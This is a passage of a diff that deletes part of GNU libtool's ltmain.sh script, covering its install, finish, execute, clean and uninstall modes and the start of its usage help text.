- *cygwin*,*lai,yes,no,*.dll | *mingw*,*lai,yes,no,*.dll) tdlname=../bin/$dlname ;;
- esac
- $echo > $output "\
-# $outputname - a libtool library file
-# Generated by $PROGRAM - GNU $PACKAGE $VERSION$TIMESTAMP
-#
-# Please DO NOT delete this file!
-# It is necessary for linking the library.
-
-# The name that we can dlopen(3).
-dlname='$tdlname'
-
-# Names of this library.
-library_names='$library_names'
-
-# The name of the static archive.
-old_library='$old_library'
-
-# Libraries that this one depends upon.
-dependency_libs='$dependency_libs'
-
-# Version information for $libname.
-current=$current
-age=$age
-revision=$revision
-
-# Is this an already installed library?
-installed=$installed
-
-# Should we warn about portability when linking against -modules?
-shouldnotlink=$module
-
-# Files to dlopen/dlpreopen
-dlopen='$dlfiles'
-dlpreopen='$dlprefiles'
-
-# Directory that this library needs to be installed in:
-libdir='$install_libdir'"
- if test "$installed" = no && test "$need_relink" = yes; then
- $echo >> $output "\
-relink_command=\"$relink_command\""
- fi
- done
- fi
-
- # Do a symbolic link so that the libtool archive can be found in
- # LD_LIBRARY_PATH before the program is installed.
- $show "(cd $output_objdir && $rm $outputname && $LN_S ../$outputname $outputname)"
- $run eval '(cd $output_objdir && $rm $outputname && $LN_S ../$outputname $outputname)' || exit $?
- ;;
- esac
- exit $EXIT_SUCCESS
- ;;
-
- # libtool install mode
- install)
- modename="$modename: install"
-
- # There may be an optional sh(1) argument at the beginning of
- # install_prog (especially on Windows NT).
- if test "$nonopt" = "$SHELL" || test "$nonopt" = /bin/sh ||
- # Allow the use of GNU shtool's install command.
- $echo "X$nonopt" | grep shtool > /dev/null; then
- # Aesthetically quote it.
- arg=`$echo "X$nonopt" | $Xsed -e "$sed_quote_subst"`
- case $arg in
- *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"")
- arg="\"$arg\""
- ;;
- esac
- install_prog="$arg "
- arg="$1"
- shift
- else
- install_prog=
- arg=$nonopt
- fi
-
- # The real first argument should be the name of the installation program.
- # Aesthetically quote it.
- arg=`$echo "X$arg" | $Xsed -e "$sed_quote_subst"`
- case $arg in
- *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"")
- arg="\"$arg\""
- ;;
- esac
- install_prog="$install_prog$arg"
-
- # We need to accept at least all the BSD install flags.
- dest=
- files=
- opts=
- prev=
- install_type=
- isdir=no
- stripme=
- for arg
- do
- if test -n "$dest"; then
- files="$files $dest"
- dest=$arg
- continue
- fi
-
- case $arg in
- -d) isdir=yes ;;
- -f)
- case " $install_prog " in
- *[\\\ /]cp\ *) ;;
- *) prev=$arg ;;
- esac
- ;;
- -g | -m | -o) prev=$arg ;;
- -s)
- stripme=" -s"
- continue
- ;;
- -*)
- ;;
- *)
- # If the previous option needed an argument, then skip it.
- if test -n "$prev"; then
- prev=
- else
- dest=$arg
- continue
- fi
- ;;
- esac
-
- # Aesthetically quote the argument.
- arg=`$echo "X$arg" | $Xsed -e "$sed_quote_subst"`
- case $arg in
- *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"")
- arg="\"$arg\""
- ;;
- esac
- install_prog="$install_prog $arg"
- done
-
- if test -z "$install_prog"; then
- $echo "$modename: you must specify an install program" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- fi
-
- if test -n "$prev"; then
- $echo "$modename: the \`$prev' option requires an argument" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- fi
-
- if test -z "$files"; then
- if test -z "$dest"; then
- $echo "$modename: no file or destination specified" 1>&2
- else
- $echo "$modename: you must specify a destination" 1>&2
- fi
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- fi
-
- # Strip any trailing slash from the destination.
- dest=`$echo "X$dest" | $Xsed -e 's%/$%%'`
-
- # Check to see that the destination is a directory.
- test -d "$dest" && isdir=yes
- if test "$isdir" = yes; then
- destdir="$dest"
- destname=
- else
- destdir=`$echo "X$dest" | $Xsed -e 's%/[^/]*$%%'`
- test "X$destdir" = "X$dest" && destdir=.
- destname=`$echo "X$dest" | $Xsed -e 's%^.*/%%'`
-
- # Not a directory, so check to see that there is only one file specified.
- set dummy $files
- if test "$#" -gt 2; then
- $echo "$modename: \`$dest' is not a directory" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- fi
- fi
- case $destdir in
- [\\/]* | [A-Za-z]:[\\/]*) ;;
- *)
- for file in $files; do
- case $file in
- *.lo) ;;
- *)
- $echo "$modename: \`$destdir' must be an absolute directory name" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- ;;
- esac
- done
- ;;
- esac
-
- # This variable tells wrapper scripts just to set variables rather
- # than running their programs.
- libtool_install_magic="$magic"
-
- staticlibs=
- future_libdirs=
- current_libdirs=
- for file in $files; do
-
- # Do each installation.
- case $file in
- *.$libext)
- # Do the static libraries later.
- staticlibs="$staticlibs $file"
- ;;
-
- *.la)
- # Check to see that this really is a libtool archive.
- if (${SED} -e '2q' $file | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then :
- else
- $echo "$modename: \`$file' is not a valid libtool archive" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- fi
-
- library_names=
- old_library=
- relink_command=
- # If there is no directory component, then add one.
- case $file in
- */* | *\\*) . $file ;;
- *) . ./$file ;;
- esac
-
- # Add the libdir to current_libdirs if it is the destination.
- if test "X$destdir" = "X$libdir"; then
- case "$current_libdirs " in
- *" $libdir "*) ;;
- *) current_libdirs="$current_libdirs $libdir" ;;
- esac
- else
- # Note the libdir as a future libdir.
- case "$future_libdirs " in
- *" $libdir "*) ;;
- *) future_libdirs="$future_libdirs $libdir" ;;
- esac
- fi
-
- dir=`$echo "X$file" | $Xsed -e 's%/[^/]*$%%'`/
- test "X$dir" = "X$file/" && dir=
- dir="$dir$objdir"
-
- if test -n "$relink_command"; then
- # Determine the prefix the user has applied to our future dir.
- inst_prefix_dir=`$echo "$destdir" | $SED "s%$libdir\$%%"`
-
- # Don't allow the user to place us outside of our expected
- # location b/c this prevents finding dependent libraries that
- # are installed to the same prefix.
- # At present, this check doesn't affect windows .dll's that
- # are installed into $libdir/../bin (currently, that works fine)
- # but it's something to keep an eye on.
- if test "$inst_prefix_dir" = "$destdir"; then
- $echo "$modename: error: cannot install \`$file' to a directory not ending in $libdir" 1>&2
- exit $EXIT_FAILURE
- fi
-
- if test -n "$inst_prefix_dir"; then
- # Stick the inst_prefix_dir data into the link command.
- relink_command=`$echo "$relink_command" | $SED "s%@inst_prefix_dir@%-inst-prefix-dir $inst_prefix_dir%"`
- else
- relink_command=`$echo "$relink_command" | $SED "s%@inst_prefix_dir@%%"`
- fi
-
- $echo "$modename: warning: relinking \`$file'" 1>&2
- $show "$relink_command"
- if $run eval "$relink_command"; then :
- else
- $echo "$modename: error: relink \`$file' with the above command before installing it" 1>&2
- exit $EXIT_FAILURE
- fi
- fi
-
- # See the names of the shared library.
- set dummy $library_names
- if test -n "$2"; then
- realname="$2"
- shift
- shift
-
- srcname="$realname"
- test -n "$relink_command" && srcname="$realname"T
-
- # Install the shared library and build the symlinks.
- $show "$install_prog $dir/$srcname $destdir/$realname"
- $run eval "$install_prog $dir/$srcname $destdir/$realname" || exit $?
- if test -n "$stripme" && test -n "$striplib"; then
- $show "$striplib $destdir/$realname"
- $run eval "$striplib $destdir/$realname" || exit $?
- fi
-
- if test "$#" -gt 0; then
- # Delete the old symlinks, and create new ones.
- # Try `ln -sf' first, because the `ln' binary might depend on
- # the symlink we replace! Solaris /bin/ln does not understand -f,
- # so we also need to try rm && ln -s.
- for linkname
- do
- if test "$linkname" != "$realname"; then
- $show "(cd $destdir && { $LN_S -f $realname $linkname || { $rm $linkname && $LN_S $realname $linkname; }; })"
- $run eval "(cd $destdir && { $LN_S -f $realname $linkname || { $rm $linkname && $LN_S $realname $linkname; }; })"
- fi
- done
- fi
-
- # Do each command in the postinstall commands.
- lib="$destdir/$realname"
- cmds=$postinstall_cmds
- save_ifs="$IFS"; IFS='~'
- for cmd in $cmds; do
- IFS="$save_ifs"
- eval cmd=\"$cmd\"
- $show "$cmd"
- $run eval "$cmd" || {
- lt_exit=$?
-
- # Restore the uninstalled library and exit
- if test "$mode" = relink; then
- $run eval '(cd $output_objdir && $rm ${realname}T && $mv ${realname}U $realname)'
- fi
-
- exit $lt_exit
- }
- done
- IFS="$save_ifs"
- fi
-
- # Install the pseudo-library for information purposes.
- name=`$echo "X$file" | $Xsed -e 's%^.*/%%'`
- instname="$dir/$name"i
- $show "$install_prog $instname $destdir/$name"
- $run eval "$install_prog $instname $destdir/$name" || exit $?
-
- # Maybe install the static library, too.
- test -n "$old_library" && staticlibs="$staticlibs $dir/$old_library"
- ;;
-
- *.lo)
- # Install (i.e. copy) a libtool object.
-
- # Figure out destination file name, if it wasn't already specified.
- if test -n "$destname"; then
- destfile="$destdir/$destname"
- else
- destfile=`$echo "X$file" | $Xsed -e 's%^.*/%%'`
- destfile="$destdir/$destfile"
- fi
-
- # Deduce the name of the destination old-style object file.
- case $destfile in
- *.lo)
- staticdest=`$echo "X$destfile" | $Xsed -e "$lo2o"`
- ;;
- *.$objext)
- staticdest="$destfile"
- destfile=
- ;;
- *)
- $echo "$modename: cannot copy a libtool object to \`$destfile'" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- ;;
- esac
-
- # Install the libtool object if requested.
- if test -n "$destfile"; then
- $show "$install_prog $file $destfile"
- $run eval "$install_prog $file $destfile" || exit $?
- fi
-
- # Install the old object if enabled.
- if test "$build_old_libs" = yes; then
- # Deduce the name of the old-style object file.
- staticobj=`$echo "X$file" | $Xsed -e "$lo2o"`
-
- $show "$install_prog $staticobj $staticdest"
- $run eval "$install_prog \$staticobj \$staticdest" || exit $?
- fi
- exit $EXIT_SUCCESS
- ;;
-
- *)
- # Figure out destination file name, if it wasn't already specified.
- if test -n "$destname"; then
- destfile="$destdir/$destname"
- else
- destfile=`$echo "X$file" | $Xsed -e 's%^.*/%%'`
- destfile="$destdir/$destfile"
- fi
-
- # If the file is missing, and there is a .exe on the end, strip it
- # because it is most likely a libtool script we actually want to
- # install
- stripped_ext=""
- case $file in
- *.exe)
- if test ! -f "$file"; then
- file=`$echo $file|${SED} 's,.exe$,,'`
- stripped_ext=".exe"
- fi
- ;;
- esac
-
- # Do a test to see if this is really a libtool program.
- case $host in
- *cygwin*|*mingw*)
- wrapper=`$echo $file | ${SED} -e 's,.exe$,,'`
- ;;
- *)
- wrapper=$file
- ;;
- esac
- if (${SED} -e '4q' $wrapper | grep "^# Generated by .*$PACKAGE")>/dev/null 2>&1; then
- notinst_deplibs=
- relink_command=
-
- # Note that it is not necessary on cygwin/mingw to append a dot to
- # foo even if both foo and FILE.exe exist: automatic-append-.exe
- # behavior happens only for exec(3), not for open(2)! Also, sourcing
- # `FILE.' does not work on cygwin managed mounts.
- #
- # If there is no directory component, then add one.
- case $wrapper in
- */* | *\\*) . ${wrapper} ;;
- *) . ./${wrapper} ;;
- esac
-
- # Check the variables that should have been set.
- if test -z "$notinst_deplibs"; then
- $echo "$modename: invalid libtool wrapper script \`$wrapper'" 1>&2
- exit $EXIT_FAILURE
- fi
-
- finalize=yes
- for lib in $notinst_deplibs; do
- # Check to see that each library is installed.
- libdir=
- if test -f "$lib"; then
- # If there is no directory component, then add one.
- case $lib in
- */* | *\\*) . $lib ;;
- *) . ./$lib ;;
- esac
- fi
- libfile="$libdir/"`$echo "X$lib" | $Xsed -e 's%^.*/%%g'` ### testsuite: skip nested quoting test
- if test -n "$libdir" && test ! -f "$libfile"; then
- $echo "$modename: warning: \`$lib' has not been installed in \`$libdir'" 1>&2
- finalize=no
- fi
- done
-
- relink_command=
- # Note that it is not necessary on cygwin/mingw to append a dot to
- # foo even if both foo and FILE.exe exist: automatic-append-.exe
- # behavior happens only for exec(3), not for open(2)! Also, sourcing
- # `FILE.' does not work on cygwin managed mounts.
- #
- # If there is no directory component, then add one.
- case $wrapper in
- */* | *\\*) . ${wrapper} ;;
- *) . ./${wrapper} ;;
- esac
-
- outputname=
- if test "$fast_install" = no && test -n "$relink_command"; then
- if test "$finalize" = yes && test -z "$run"; then
- tmpdir=`func_mktempdir`
- file=`$echo "X$file$stripped_ext" | $Xsed -e 's%^.*/%%'`
- outputname="$tmpdir/$file"
- # Replace the output file specification.
- relink_command=`$echo "X$relink_command" | $Xsed -e 's%@OUTPUT@%'"$outputname"'%g'`
-
- $show "$relink_command"
- if $run eval "$relink_command"; then :
- else
- $echo "$modename: error: relink \`$file' with the above command before installing it" 1>&2
- ${rm}r "$tmpdir"
- continue
- fi
- file="$outputname"
- else
- $echo "$modename: warning: cannot relink \`$file'" 1>&2
- fi
- else
- # Install the binary that we compiled earlier.
- file=`$echo "X$file$stripped_ext" | $Xsed -e "s%\([^/]*\)$%$objdir/\1%"`
- fi
- fi
-
- # remove .exe since cygwin /usr/bin/install will append another
- # one anyway
- case $install_prog,$host in
- */usr/bin/install*,*cygwin*)
- case $file:$destfile in
- *.exe:*.exe)
- # this is ok
- ;;
- *.exe:*)
- destfile=$destfile.exe
- ;;
- *:*.exe)
- destfile=`$echo $destfile | ${SED} -e 's,.exe$,,'`
- ;;
- esac
- ;;
- esac
- $show "$install_prog$stripme $file $destfile"
- $run eval "$install_prog\$stripme \$file \$destfile" || exit $?
- test -n "$outputname" && ${rm}r "$tmpdir"
- ;;
- esac
- done
-
- for file in $staticlibs; do
- name=`$echo "X$file" | $Xsed -e 's%^.*/%%'`
-
- # Set up the ranlib parameters.
- oldlib="$destdir/$name"
-
- $show "$install_prog $file $oldlib"
- $run eval "$install_prog \$file \$oldlib" || exit $?
-
- if test -n "$stripme" && test -n "$old_striplib"; then
- $show "$old_striplib $oldlib"
- $run eval "$old_striplib $oldlib" || exit $?
- fi
-
- # Do each command in the postinstall commands.
- cmds=$old_postinstall_cmds
- save_ifs="$IFS"; IFS='~'
- for cmd in $cmds; do
- IFS="$save_ifs"
- eval cmd=\"$cmd\"
- $show "$cmd"
- $run eval "$cmd" || exit $?
- done
- IFS="$save_ifs"
- done
-
- if test -n "$future_libdirs"; then
- $echo "$modename: warning: remember to run \`$progname --finish$future_libdirs'" 1>&2
- fi
-
- if test -n "$current_libdirs"; then
- # Maybe just do a dry run.
- test -n "$run" && current_libdirs=" -n$current_libdirs"
- exec_cmd='$SHELL $progpath $preserve_args --finish$current_libdirs'
- else
- exit $EXIT_SUCCESS
- fi
- ;;
-
- # libtool finish mode
- finish)
- modename="$modename: finish"
- libdirs="$nonopt"
- admincmds=
-
- if test -n "$finish_cmds$finish_eval" && test -n "$libdirs"; then
- for dir
- do
- libdirs="$libdirs $dir"
- done
-
- for libdir in $libdirs; do
- if test -n "$finish_cmds"; then
- # Do each command in the finish commands.
- cmds=$finish_cmds
- save_ifs="$IFS"; IFS='~'
- for cmd in $cmds; do
- IFS="$save_ifs"
- eval cmd=\"$cmd\"
- $show "$cmd"
- $run eval "$cmd" || admincmds="$admincmds
- $cmd"
- done
- IFS="$save_ifs"
- fi
- if test -n "$finish_eval"; then
- # Do the single finish_eval.
- eval cmds=\"$finish_eval\"
- $run eval "$cmds" || admincmds="$admincmds
- $cmds"
- fi
- done
- fi
-
- # Exit here if they wanted silent mode.
- test "$show" = : && exit $EXIT_SUCCESS
-
- $echo "X----------------------------------------------------------------------" | $Xsed
- $echo "Libraries have been installed in:"
- for libdir in $libdirs; do
- $echo " $libdir"
- done
- $echo
- $echo "If you ever happen to want to link against installed libraries"
- $echo "in a given directory, LIBDIR, you must either use libtool, and"
- $echo "specify the full pathname of the library, or use the \`-LLIBDIR'"
- $echo "flag during linking and do at least one of the following:"
- if test -n "$shlibpath_var"; then
- $echo " - add LIBDIR to the \`$shlibpath_var' environment variable"
- $echo " during execution"
- fi
- if test -n "$runpath_var"; then
- $echo " - add LIBDIR to the \`$runpath_var' environment variable"
- $echo " during linking"
- fi
- if test -n "$hardcode_libdir_flag_spec"; then
- libdir=LIBDIR
- eval flag=\"$hardcode_libdir_flag_spec\"
-
- $echo " - use the \`$flag' linker flag"
- fi
- if test -n "$admincmds"; then
- $echo " - have your system administrator run these commands:$admincmds"
- fi
- if test -f /etc/ld.so.conf; then
- $echo " - have your system administrator add LIBDIR to \`/etc/ld.so.conf'"
- fi
- $echo
- $echo "See any operating system documentation about shared libraries for"
- $echo "more information, such as the ld(1) and ld.so(8) manual pages."
- $echo "X----------------------------------------------------------------------" | $Xsed
- exit $EXIT_SUCCESS
- ;;
-
- # libtool execute mode
- execute)
- modename="$modename: execute"
-
- # The first argument is the command name.
- cmd="$nonopt"
- if test -z "$cmd"; then
- $echo "$modename: you must specify a COMMAND" 1>&2
- $echo "$help"
- exit $EXIT_FAILURE
- fi
-
- # Handle -dlopen flags immediately.
- for file in $execute_dlfiles; do
- if test ! -f "$file"; then
- $echo "$modename: \`$file' is not a file" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- fi
-
- dir=
- case $file in
- *.la)
- # Check to see that this really is a libtool archive.
- if (${SED} -e '2q' $file | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then :
- else
- $echo "$modename: \`$lib' is not a valid libtool archive" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- fi
-
- # Read the libtool library.
- dlname=
- library_names=
-
- # If there is no directory component, then add one.
- case $file in
- */* | *\\*) . $file ;;
- *) . ./$file ;;
- esac
-
- # Skip this library if it cannot be dlopened.
- if test -z "$dlname"; then
- # Warn if it was a shared library.
- test -n "$library_names" && $echo "$modename: warning: \`$file' was not linked with \`-export-dynamic'"
- continue
- fi
-
- dir=`$echo "X$file" | $Xsed -e 's%/[^/]*$%%'`
- test "X$dir" = "X$file" && dir=.
-
- if test -f "$dir/$objdir/$dlname"; then
- dir="$dir/$objdir"
- else
- $echo "$modename: cannot find \`$dlname' in \`$dir' or \`$dir/$objdir'" 1>&2
- exit $EXIT_FAILURE
- fi
- ;;
-
- *.lo)
- # Just add the directory containing the .lo file.
- dir=`$echo "X$file" | $Xsed -e 's%/[^/]*$%%'`
- test "X$dir" = "X$file" && dir=.
- ;;
-
- *)
- $echo "$modename: warning \`-dlopen' is ignored for non-libtool libraries and objects" 1>&2
- continue
- ;;
- esac
-
- # Get the absolute pathname.
- absdir=`cd "$dir" && pwd`
- test -n "$absdir" && dir="$absdir"
-
- # Now add the directory to shlibpath_var.
- if eval "test -z \"\$$shlibpath_var\""; then
- eval "$shlibpath_var=\"\$dir\""
- else
- eval "$shlibpath_var=\"\$dir:\$$shlibpath_var\""
- fi
- done
-
- # This variable tells wrapper scripts just to set shlibpath_var
- # rather than running their programs.
- libtool_execute_magic="$magic"
-
- # Check if any of the arguments is a wrapper script.
- args=
- for file
- do
- case $file in
- -*) ;;
- *)
- # Do a test to see if this is really a libtool program.
- if (${SED} -e '4q' $file | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then
- # If there is no directory component, then add one.
- case $file in
- */* | *\\*) . $file ;;
- *) . ./$file ;;
- esac
-
- # Transform arg to wrapped name.
- file="$progdir/$program"
- fi
- ;;
- esac
- # Quote arguments (to preserve shell metacharacters).
- file=`$echo "X$file" | $Xsed -e "$sed_quote_subst"`
- args="$args \"$file\""
- done
-
- if test -z "$run"; then
- if test -n "$shlibpath_var"; then
- # Export the shlibpath_var.
- eval "export $shlibpath_var"
- fi
-
- # Restore saved environment variables
- if test "${save_LC_ALL+set}" = set; then
- LC_ALL="$save_LC_ALL"; export LC_ALL
- fi
- if test "${save_LANG+set}" = set; then
- LANG="$save_LANG"; export LANG
- fi
-
- # Now prepare to actually exec the command.
- exec_cmd="\$cmd$args"
- else
- # Display what would be done.
- if test -n "$shlibpath_var"; then
- eval "\$echo \"\$shlibpath_var=\$$shlibpath_var\""
- $echo "export $shlibpath_var"
- fi
- $echo "$cmd$args"
- exit $EXIT_SUCCESS
- fi
- ;;
-
- # libtool clean and uninstall mode
- clean | uninstall)
- modename="$modename: $mode"
- rm="$nonopt"
- files=
- rmforce=
- exit_status=0
-
- # This variable tells wrapper scripts just to set variables rather
- # than running their programs.
- libtool_install_magic="$magic"
-
- for arg
- do
- case $arg in
- -f) rm="$rm $arg"; rmforce=yes ;;
- -*) rm="$rm $arg" ;;
- *) files="$files $arg" ;;
- esac
- done
-
- if test -z "$rm"; then
- $echo "$modename: you must specify an RM program" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- fi
-
- rmdirs=
-
- origobjdir="$objdir"
- for file in $files; do
- dir=`$echo "X$file" | $Xsed -e 's%/[^/]*$%%'`
- if test "X$dir" = "X$file"; then
- dir=.
- objdir="$origobjdir"
- else
- objdir="$dir/$origobjdir"
- fi
- name=`$echo "X$file" | $Xsed -e 's%^.*/%%'`
- test "$mode" = uninstall && objdir="$dir"
-
- # Remember objdir for removal later, being careful to avoid duplicates
- if test "$mode" = clean; then
- case " $rmdirs " in
- *" $objdir "*) ;;
- *) rmdirs="$rmdirs $objdir" ;;
- esac
- fi
-
- # Don't error if the file doesn't exist and rm -f was used.
- if (test -L "$file") >/dev/null 2>&1 \
- || (test -h "$file") >/dev/null 2>&1 \
- || test -f "$file"; then
- :
- elif test -d "$file"; then
- exit_status=1
- continue
- elif test "$rmforce" = yes; then
- continue
- fi
-
- rmfiles="$file"
-
- case $name in
- *.la)
- # Possibly a libtool archive, so verify it.
- if (${SED} -e '2q' $file | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then
- . $dir/$name
-
- # Delete the libtool libraries and symlinks.
- for n in $library_names; do
- rmfiles="$rmfiles $objdir/$n"
- done
- test -n "$old_library" && rmfiles="$rmfiles $objdir/$old_library"
-
- case "$mode" in
- clean)
- case " $library_names " in
- # " " in the beginning catches empty $dlname
- *" $dlname "*) ;;
- *) rmfiles="$rmfiles $objdir/$dlname" ;;
- esac
- test -n "$libdir" && rmfiles="$rmfiles $objdir/$name $objdir/${name}i"
- ;;
- uninstall)
- if test -n "$library_names"; then
- # Do each command in the postuninstall commands.
- cmds=$postuninstall_cmds
- save_ifs="$IFS"; IFS='~'
- for cmd in $cmds; do
- IFS="$save_ifs"
- eval cmd=\"$cmd\"
- $show "$cmd"
- $run eval "$cmd"
- if test "$?" -ne 0 && test "$rmforce" != yes; then
- exit_status=1
- fi
- done
- IFS="$save_ifs"
- fi
-
- if test -n "$old_library"; then
- # Do each command in the old_postuninstall commands.
- cmds=$old_postuninstall_cmds
- save_ifs="$IFS"; IFS='~'
- for cmd in $cmds; do
- IFS="$save_ifs"
- eval cmd=\"$cmd\"
- $show "$cmd"
- $run eval "$cmd"
- if test "$?" -ne 0 && test "$rmforce" != yes; then
- exit_status=1
- fi
- done
- IFS="$save_ifs"
- fi
- # FIXME: should reinstall the best remaining shared library.
- ;;
- esac
- fi
- ;;
-
- *.lo)
- # Possibly a libtool object, so verify it.
- if (${SED} -e '2q' $file | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then
-
- # Read the .lo file
- . $dir/$name
-
- # Add PIC object to the list of files to remove.
- if test -n "$pic_object" \
- && test "$pic_object" != none; then
- rmfiles="$rmfiles $dir/$pic_object"
- fi
-
- # Add non-PIC object to the list of files to remove.
- if test -n "$non_pic_object" \
- && test "$non_pic_object" != none; then
- rmfiles="$rmfiles $dir/$non_pic_object"
- fi
- fi
- ;;
-
- *)
- if test "$mode" = clean ; then
- noexename=$name
- case $file in
- *.exe)
- file=`$echo $file|${SED} 's,.exe$,,'`
- noexename=`$echo $name|${SED} 's,.exe$,,'`
- # $file with .exe has already been added to rmfiles,
- # add $file without .exe
- rmfiles="$rmfiles $file"
- ;;
- esac
- # Do a test to see if this is a libtool program.
- if (${SED} -e '4q' $file | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then
- relink_command=
- . $dir/$noexename
-
- # note $name still contains .exe if it was in $file originally
- # as does the version of $file that was added into $rmfiles
- rmfiles="$rmfiles $objdir/$name $objdir/${name}S.${objext}"
- if test "$fast_install" = yes && test -n "$relink_command"; then
- rmfiles="$rmfiles $objdir/lt-$name"
- fi
- if test "X$noexename" != "X$name" ; then
- rmfiles="$rmfiles $objdir/lt-${noexename}.c"
- fi
- fi
- fi
- ;;
- esac
- $show "$rm $rmfiles"
- $run $rm $rmfiles || exit_status=1
- done
- objdir="$origobjdir"
-
- # Try to remove the ${objdir}s in the directories where we deleted files
- for dir in $rmdirs; do
- if test -d "$dir"; then
- $show "rmdir $dir"
- $run rmdir $dir >/dev/null 2>&1
- fi
- done
-
- exit $exit_status
- ;;
-
- "")
- $echo "$modename: you must specify a MODE" 1>&2
- $echo "$generic_help" 1>&2
- exit $EXIT_FAILURE
- ;;
- esac
-
- if test -z "$exec_cmd"; then
- $echo "$modename: invalid operation mode \`$mode'" 1>&2
- $echo "$generic_help" 1>&2
- exit $EXIT_FAILURE
- fi
-fi # test -z "$show_help"
-
-if test -n "$exec_cmd"; then
- eval exec $exec_cmd
- exit $EXIT_FAILURE
-fi
-
-# We need to display help for each of the modes.
-case $mode in
-"") $echo \
-"Usage: $modename [OPTION]... [MODE-ARG]...
-
-Provide generalized library-building support services.
-
- --config show all configuration variables
- --debug enable verbose shell tracing
--n, --dry-run display commands without modifying any files
- --features display basic configuration information and exit
- --finish same as \`--mode=finish'
- --help display this help message and exit
- --mode=MODE use operation mode MODE [default=inferred from MODE-ARGS]
- --quiet same as \`--silent'
- --silent don't print informational messages
- --tag=TAG use configuration variables from tag TAG
- --version print version information
-
-MODE must be one of the following:
-
- clean remove files from the build directory
- compile compile a source file into a libtool object
- execute automatically set library path, then run a program
- finish complete the installation of libtool libraries
- install install libraries or executables
- link create a library or an executable
- uninstall remove libraries from an installed directory
-
-MODE-ARGS vary depending on the MODE. Try \`$modename --help --mode=MODE' for
-a more detailed description of MODE.
-
-Report bugs to <bug-libtool@gnu.org>."
- exit $EXIT_SUCCESS
- ;;
-
-clean)
- $echo \
-"Usage: $modename [OPTION]... --mode=clean RM [RM-OPTION]... FILE...
-
-Remove files from the build directory.
-
-RM is the name of the program to use to delete files associated with each FILE
-(typically \`/bin/rm'). RM-OPTIONS are options (such as \`-f') to be passed
-to RM.
-
-If FILE is a libtool library, object or program, all the files associated
-with it are deleted. Otherwise, only FILE itself is deleted using RM."
- ;;
-
-compile)
- $echo \
-"Usage: $modename [OPTION]... --mode=compile COMPILE-COMMAND... SOURCEFILE
-
-Compile a source file into a libtool library object.
-
-This mode accepts the following additional options:
-
- -o OUTPUT-FILE set the output file name to OUTPUT-FILE
- -prefer-pic try to building PIC objects only
- -prefer-non-pic try to building non-PIC objects only
- -static always build a \`.o' file suitable for static linking
-
-COMPILE-COMMAND is a command to be used in creating a \`standard' object file
-from the given SOURCEFILE.
-
-The output file name is determined by removing the directory component from
-SOURCEFILE, then substituting the C source code suffix \`.c' with the
-library object suffix, \`.lo'."
- ;;
-
-execute)
- $echo \
-"Usage: $modename [OPTION]... --mode=execute COMMAND [ARGS]...
-
-Automatically set library path, then run a program.
-
-This mode accepts the following additional options:
-
- -dlopen FILE add the directory containing FILE to the library path
-
-This mode sets the library path environment variable according to \`-dlopen'
-flags.
-
-If any of the ARGS are libtool executable wrappers, then they are translated
-into their corresponding uninstalled binary, and any of their required library
-directories are added to the library path.
-
-Then, COMMAND is executed, with ARGS as arguments."
- ;;
-
-finish)
- $echo \
-"Usage: $modename [OPTION]... --mode=finish [LIBDIR]...
-
-Complete the installation of libtool libraries.
-
-Each LIBDIR is a directory that contains libtool libraries.
-
-The commands that this mode executes may require superuser privileges. Use
-the \`--dry-run' option if you just want to see what would be executed."
- ;;
-
-install)
- $echo \
-"Usage: $modename [OPTION]... --mode=install INSTALL-COMMAND...
-
-Install executables or libraries.
-
-INSTALL-COMMAND is the installation command. The first component should be
-either the \`install' or \`cp' program.
-
-The rest of the components are interpreted as arguments to that command (only
-BSD-compatible install options are recognized)."
- ;;
-
-link)
- $echo \
-"Usage: $modename [OPTION]... --mode=link LINK-COMMAND...
-
-Link object files or libraries together to form another library, or to
-create an executable program.
-
-LINK-COMMAND is a command using the C compiler that you would use to create
-a program from several object files.
-
-The following components of LINK-COMMAND are treated specially:
-
- -all-static do not do any dynamic linking at all
- -avoid-version do not add a version suffix if possible
- -dlopen FILE \`-dlpreopen' FILE if it cannot be dlopened at runtime
- -dlpreopen FILE link in FILE and add its symbols to lt_preloaded_symbols
- -export-dynamic allow symbols from OUTPUT-FILE to be resolved with dlsym(3)
- -export-symbols SYMFILE
- try to export only the symbols listed in SYMFILE
- -export-symbols-regex REGEX
- try to export only the symbols matching REGEX
- -LLIBDIR search LIBDIR for required installed libraries
- -lNAME OUTPUT-FILE requires the installed library libNAME
- -module build a library that can dlopened
- -no-fast-install disable the fast-install mode
- -no-install link a not-installable executable
- -no-undefined declare that a library does not refer to external symbols
- -o OUTPUT-FILE create OUTPUT-FILE from the specified objects
- -objectlist FILE Use a list of object files found in FILE to specify objects
- -precious-files-regex REGEX
- don't remove output files matching REGEX
- -release RELEASE specify package release information
- -rpath LIBDIR the created library will eventually be installed in LIBDIR
- -R[ ]LIBDIR add LIBDIR to the runtime path of programs and libraries
- -static do not do any dynamic linking of libtool libraries
- -version-info CURRENT[:REVISION[:AGE]]
- specify library version info [each variable defaults to 0]
-
-All other options (arguments beginning with \`-') are ignored.
-
-Every other argument is treated as a filename. Files ending in \`.la' are
-treated as uninstalled libtool libraries, other files are standard or library
-object files.
-
-If the OUTPUT-FILE ends in \`.la', then a libtool library is created,
-only library objects (\`.lo' files) may be specified, and \`-rpath' is
-required, except when creating a convenience library.
-
-If OUTPUT-FILE ends in \`.a' or \`.lib', then a standard library is created
-using \`ar' and \`ranlib', or on Windows using \`lib'.
-
